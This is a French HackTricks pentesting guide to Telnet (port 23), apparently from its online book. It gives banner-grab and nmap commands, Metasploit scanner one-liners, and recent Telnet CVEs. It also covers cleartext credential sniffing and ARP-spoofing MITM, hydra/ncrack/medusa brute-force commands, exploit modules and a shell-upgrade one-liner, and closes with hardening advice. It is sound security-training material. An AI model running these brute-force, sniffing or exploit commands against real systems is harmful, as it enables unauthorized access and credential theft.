23 - Pentesting Telnet

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Telnet est un protocole réseau qui offre aux utilisateurs un moyen non sécurisé d'accéder à un ordinateur via un réseau.

Port par défaut : 23

23/tcp open  telnet

ÉnumĂ©ration

Récupération de banniÚres

bash
nc -vn <IP> 23

Toute l'Ă©numĂ©ration intĂ©ressante peut ĂȘtre effectuĂ©e par nmap :

bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Le script telnet-ntlm-info.nse obtiendra des informations NTLM (versions Windows).

Dans le telnet RFC : Dans le protocole TELNET, il existe diverses "options" qui seront sanctionnĂ©es et peuvent ĂȘtre utilisĂ©es avec la structure "DO, DON'T, WILL, WON'T" pour permettre Ă  un utilisateur et Ă  un serveur de convenir d'utiliser un ensemble de conventions plus Ă©laborĂ© (ou peut-ĂȘtre juste diffĂ©rent) pour leur connexion TELNET. Ces options pourraient inclure le changement de l'ensemble de caractĂšres, le mode d'Ă©cho, etc.

Je sais qu'il est possible d'énumérer ces options, mais je ne sais pas comment, alors faites-moi savoir si vous savez comment.

Brute force

Fichier de configuration

bash
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

Commandes Automatiques HackTricks

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Vulnérabilités Récentes (2022-2025)

  • CVE-2024-45698 – Routeurs D-Link Wi-Fi 6 (DIR-X4860) : Le service Telnet intĂ©grĂ© acceptait des identifiants codĂ©s en dur et ne parvenait pas Ă  assainir les entrĂ©es, permettant une exĂ©cution de code Ă  distance non authentifiĂ©e en tant que root via des commandes Ă©laborĂ©es sur le port 23. CorrigĂ© dans le firmware ≄ 1.04B05.
  • CVE-2023-40478 – NETGEAR RAX30 : DĂ©bordement de tampon basĂ© sur la pile dans la commande passwd de l'interface en ligne de commande Telnet permettant Ă  un attaquant adjacent de contourner l'authentification et d'exĂ©cuter du code arbitraire en tant que root.
  • CVE-2022-39028 – GNU inetutils telnetd : Une sĂ©quence de deux octets (0xff 0xf7 / 0xff 0xf8) dĂ©clenche une dĂ©rĂ©fĂ©rence de pointeur NULL qui peut faire planter telnetd, entraĂźnant un DoS persistant aprĂšs plusieurs plantages.

Gardez ces CVE Ă  l'esprit lors de la triage des vulnĂ©rabilitĂ©s—si la cible exĂ©cute un firmware non corrigĂ© ou un dĂ©mon Telnet inetutils hĂ©ritĂ©, vous pourriez avoir un chemin direct vers l'exĂ©cution de code ou un DoS perturbateur.

Capture de Credentials & Attaque de l'Homme du Milieu

Telnet transmet tout, y compris les identifiants, en texte clair. Deux façons rapides de les capturer :

bash
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Pour un MITM actif, combinez le spoofing ARP (par exemple, arpspoof/ettercap) avec les mĂȘmes filtres de sniffing pour rĂ©colter des mots de passe sur des rĂ©seaux commutĂ©s.

Force brute automatisée / Spray de mots de passe

bash
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

La plupart des botnets IoT (variantes de Mirai) scannent toujours le port 23 avec de petits dictionnaires de mots de passe par dĂ©faut—reproduire cette logique peut rapidement identifier des dispositifs faibles.

Exploitation & Post-Exploitation

Metasploit dispose de plusieurs modules utiles :

  • auxiliary/scanner/telnet/telnet_version – Ă©numĂ©ration de banniĂšres et d'options.
  • auxiliary/scanner/telnet/brute_telnet – bruteforce multithreadĂ©.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE contre Telnet vulnĂ©rable de Solaris 9/10 (gestion de l'option ENCRYPT).
  • exploit/linux/mips/netgear_telnetenable – active le service telnet avec un paquet conçu sur de nombreux routeurs NETGEAR.

AprÚs avoir obtenu un shell, rappelez-vous que les TTY sont généralement simples ; mettez à niveau avec python -c 'import pty;pty.spawn("/bin/bash")' ou utilisez les trucs TTY de HackTricks.

Renforcement & Détection (coin de l'équipe bleue)

  1. Préférez SSH et désactivez complÚtement le service Telnet.
  2. Si Telnet est nécessaire, liez-le uniquement aux VLANs de gestion, appliquez des ACL et enveloppez le démon avec des wrappers TCP (/etc/hosts.allow).
  3. Remplacez les implĂ©mentations hĂ©ritĂ©es de telnetd par ssl-telnet ou telnetd-ssl pour ajouter un chiffrement de transport, mais cela ne protĂšge que les donnĂ©es en transit—la devinette de mot de passe reste triviale.
  4. Surveillez le trafic sortant vers le port 23 ; les compromissions génÚrent souvent des shells inversés via Telnet pour contourner les filtres de sortie HTTP stricts.

Références

  • D-Link Advisory – CVE-2024-45698 RCE Telnet critique.
  • NVD – CVE-2022-39028 inetutils telnetd DoS.

{{#include /banners/hacktricks-training.md}}